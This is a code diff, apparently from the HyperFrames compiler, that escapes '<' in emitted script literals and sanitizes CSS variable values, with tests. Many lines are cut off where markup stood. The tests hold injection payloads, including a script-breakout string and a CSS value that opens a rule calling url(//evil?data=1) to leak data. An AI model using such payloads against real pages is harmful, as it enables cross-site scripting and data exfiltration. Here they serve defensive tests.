diff --git a/packages/core/src/compiler/compositionScoping.test.ts b/packages/core/src/compiler/compositionScoping.test.ts
index 7985c9f809..b9d7e72d79 100644
--- a/packages/core/src/compiler/compositionScoping.test.ts
+++ b/packages/core/src/compiler/compositionScoping.test.ts
@@ -1,6 +1,7 @@
import { describe, expect, it, vi } from "vitest";
import { parseHTML } from "linkedom";
import {
+ buildVariablesByCompScript,
scopeCssToComposition,
wrapInlineScriptWithErrorBoundary,
wrapScopedCompositionScript,
@@ -699,13 +700,18 @@ window.__afterTimeline = window.__timelines.scene;
});
it("wraps unscoped composition script source as a string literal", () => {
+ const source = 'window.payload = "";';
const wrapped = wrapInlineScriptWithErrorBoundary(
- 'window.payload = "";',
+ source,
"[HyperFrames] composition script error:",
);
expect(wrapped).toContain("Function(");
- expect(wrapped).toContain('\\"\\"');
+ // The literal carries the source verbatim, with `<` escaped so it cannot end the
+ // raw-text ` {
@@ -886,3 +892,132 @@ window.__timelines['intro'] = tl;
expect(gsapTargets).toEqual([["HELLO"]]);
});
});
+
+/**
+ * The emitted statement is placed inside a ``),
+ * so a payload whose breakout is not the first `<` is the realistic one.
+ */
+const SCRIPT_BREAKOUT = "x {
+ const body = buildVariablesByCompScript({
+ "comp-a": { [SCRIPT_BREAKOUT]: "x" },
+ });
+ expect(body).not.toContain(" {
+ const body = buildVariablesByCompScript({
+ [SCRIPT_BREAKOUT]: { a: "x" },
+ });
+ expect(body).not.toContain(" {
+ // Run the statement the way the browser does rather than string-slicing it.
+ const variables = { "comp-a": { greeting: "a b c" } };
+ const body = buildVariablesByCompScript(variables) ?? "";
+ const fakeWindow: Record = {};
+ new Function("window", body)(fakeWindow);
+ expect(fakeWindow.__hfVariablesByComp).toEqual(variables);
+ });
+
+ it("returns null when there are no per-instance values", () => {
+ expect(buildVariablesByCompScript({})).toBeNull();
+ });
+});
+
+/**
+ * The variables table is not the only attacker-reachable literal emitted into a
+ * ` {
+ const body = wrapScopedCompositionScript("console.log(1);", SCRIPT_BREAKOUT);
+ const literal = /var __hfCompId = (.*);/.exec(body)?.[1];
+ expect(literal).toBeDefined();
+ expect(JSON.parse(literal ?? "")).toBe(SCRIPT_BREAKOUT);
+ });
+
+ it("does not let the AUTHORED ROOT ID close the script element", () => {
+ const body = wrapScopedCompositionScript(
+ "console.log(1);",
+ "comp-a",
+ LABEL,
+ undefined,
+ "comp-a",
+ SCRIPT_BREAKOUT,
+ );
+ expect(body).not.toContain(" {
+ const body = wrapScopedCompositionScript("console.log(1);", "comp-a", LABEL, SCRIPT_BREAKOUT);
+ expect(body).not.toContain(" {
+ const body = wrapScopedCompositionScript("console.log(1);", "comp-a", SCRIPT_BREAKOUT);
+ expect(body).not.toContain(" breakout", () => {
+ it("does not let the wrapped SOURCE close the script element", () => {
+ const body = wrapInlineScriptWithErrorBoundary(`var a = "${SCRIPT_BREAKOUT}";`, "[err]");
+ expect(body).not.toContain(" {
+ const body = wrapInlineScriptWithErrorBoundary("var a = 1;", SCRIPT_BREAKOUT);
+ expect(body).not.toContain("` element.
+ *
+ * `` would close
+ * the element early and have the remainder parsed as markup. Rewriting every
+ * `<` to `<` removes the only byte that can start a closing tag, and is
+ * transparent to both `JSON.parse` and the JS string grammar, so the value the
+ * runtime reads is unchanged.
+ *
+ * Every dynamic literal in an emitted script body must go through here: a
+ * per-value guard on this surface has already been missed once, since the
+ * composition id reaches the emitted script through four separate literals.
+ */
+function jsonScriptLiteral(value: unknown): string {
+ return JSON.stringify(value).replace(/>,
): string | null {
if (!variablesByComp || Object.keys(variablesByComp).length === 0) return null;
- return `window.__hfVariablesByComp = Object.assign({}, window.__hfVariablesByComp || {}, ${JSON.stringify(variablesByComp)});`;
+ const json = jsonScriptLiteral(variablesByComp);
+ return `window.__hfVariablesByComp = Object.assign({}, window.__hfVariablesByComp || {}, ${json});`;
}
diff --git a/packages/core/src/compiler/htmlBundler.test.ts b/packages/core/src/compiler/htmlBundler.test.ts
index 3a4f86da70..d28f7622fc 100644
--- a/packages/core/src/compiler/htmlBundler.test.ts
+++ b/packages/core/src/compiler/htmlBundler.test.ts
@@ -4,8 +4,9 @@ import { tmpdir } from "node:os";
import { join } from "node:path";
import { parseHTML } from "linkedom";
import { afterEach, beforeEach, describe, it, expect, vi } from "vitest";
-import { bundleToSingleHtml } from "./htmlBundler";
+import { bundleToSingleHtml, emitRootCompositionVariableStyles } from "./htmlBundler";
import { resetUnknownEnumWarnings } from "../runtime/getVariables";
+import { sanitizeCssValue } from "../runtime/applyVariableBindings";
import { getHyperframeRuntimeScript } from "../generated/runtime-inline";
function makeTempProject(files: Record): string {
@@ -1510,3 +1511,75 @@ describe("bundleToSingleHtml unknown enum values", () => {
]);
});
});
+
+/**
+ * Composition variable values are emitted as CSS declarations inside a ` breakout", () => {
+ /**
+ * The payload leads with a benign `<` before its ` {
+ // `sanitizeCssValue` is the runtime contract for a scalar folded into
+ // `background: var(--x)`; the compile path has to reach the same result, or a
+ // rendered MP4 diverges from the preview it was approved from.
+ const smuggle = "red; } body { background-image: url(//evil?data=1) } x { y:z";
+ const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: smuggle } });
+
+ expect(css).not.toContain("body {");
+ // One rule, one declaration: with no `;{}` left in the value there is nothing to
+ // close the declaration with, so no sibling rule can be opened.
+ expect(css.match(/\}/g) ?? []).toHaveLength(1);
+ expect(css).toContain(`--brand: ${sanitizeCssValue(smuggle)};`);
+ });
+
+ it("strips '<' from a value the way the runtime does", () => {
+ const { css, scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: "a {
+ const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: "#ff0066" } });
+ expect(css).toContain("#ff0066");
+ });
+});
diff --git a/packages/core/src/compiler/htmlBundler.ts b/packages/core/src/compiler/htmlBundler.ts
index c3fddf249c..1eff4f9624 100644
--- a/packages/core/src/compiler/htmlBundler.ts
+++ b/packages/core/src/compiler/htmlBundler.ts
@@ -1,6 +1,7 @@
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot";
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot";
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables";
+import { sanitizeCssValue } from "../runtime/applyVariableBindings";
import { cssVariableName } from "../tokenSlug";
import { readFileSync, existsSync } from "fs";
import { resolve, relative, dirname, isAbsolute, sep } from "path";
@@ -389,8 +390,17 @@ function rewriteCssUrlsWithInlinedAssets(cssText: string, projectDir: string): s
);
}
+/**
+ * Selectors built here are serialized inside a `` element, which is a RAW
+ * TEXT element: HTML serialization does not escape its content and the
+ * tokenizer ends it at the first `,
@@ -1143,7 +1184,7 @@ function compositionVariablesCssBlock(
const lines: string[] = [];
for (const [id, value] of Object.entries(variables)) {
if ((typeof value === "string" && value !== "") || typeof value === "number") {
- lines.push(` ${cssVariableName(id)}: ${String(value)};`);
+ lines.push(` ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
}
}
if (lines.length === 0) return null;
diff --git a/packages/core/src/runtime/applyVariableBindings.ts b/packages/core/src/runtime/applyVariableBindings.ts
index 7b704f9338..10e961f54b 100644
--- a/packages/core/src/runtime/applyVariableBindings.ts
+++ b/packages/core/src/runtime/applyVariableBindings.ts
@@ -75,8 +75,13 @@ function isSafeMediaUrl(url: string): boolean {
* characters is legal in a scalar variable value (string, number, color, font
* family), so removing them is lossless for real inputs and neutralizes the
* declaration/URL-exfiltration channel.
+ *
+ * Exported because the static compiler bakes the same scalars into a stylesheet
+ * at build time and has to reach the same result: a value that the runtime
+ * strips but a compile-time emit passes through would make the rendered MP4
+ * differ from the preview, which is the more dangerous of the two directions.
*/
-function sanitizeCssValue(value: string): string {
+export function sanitizeCssValue(value: string): string {
return value.replace(/[;{}<>\r\n]/g, "");
}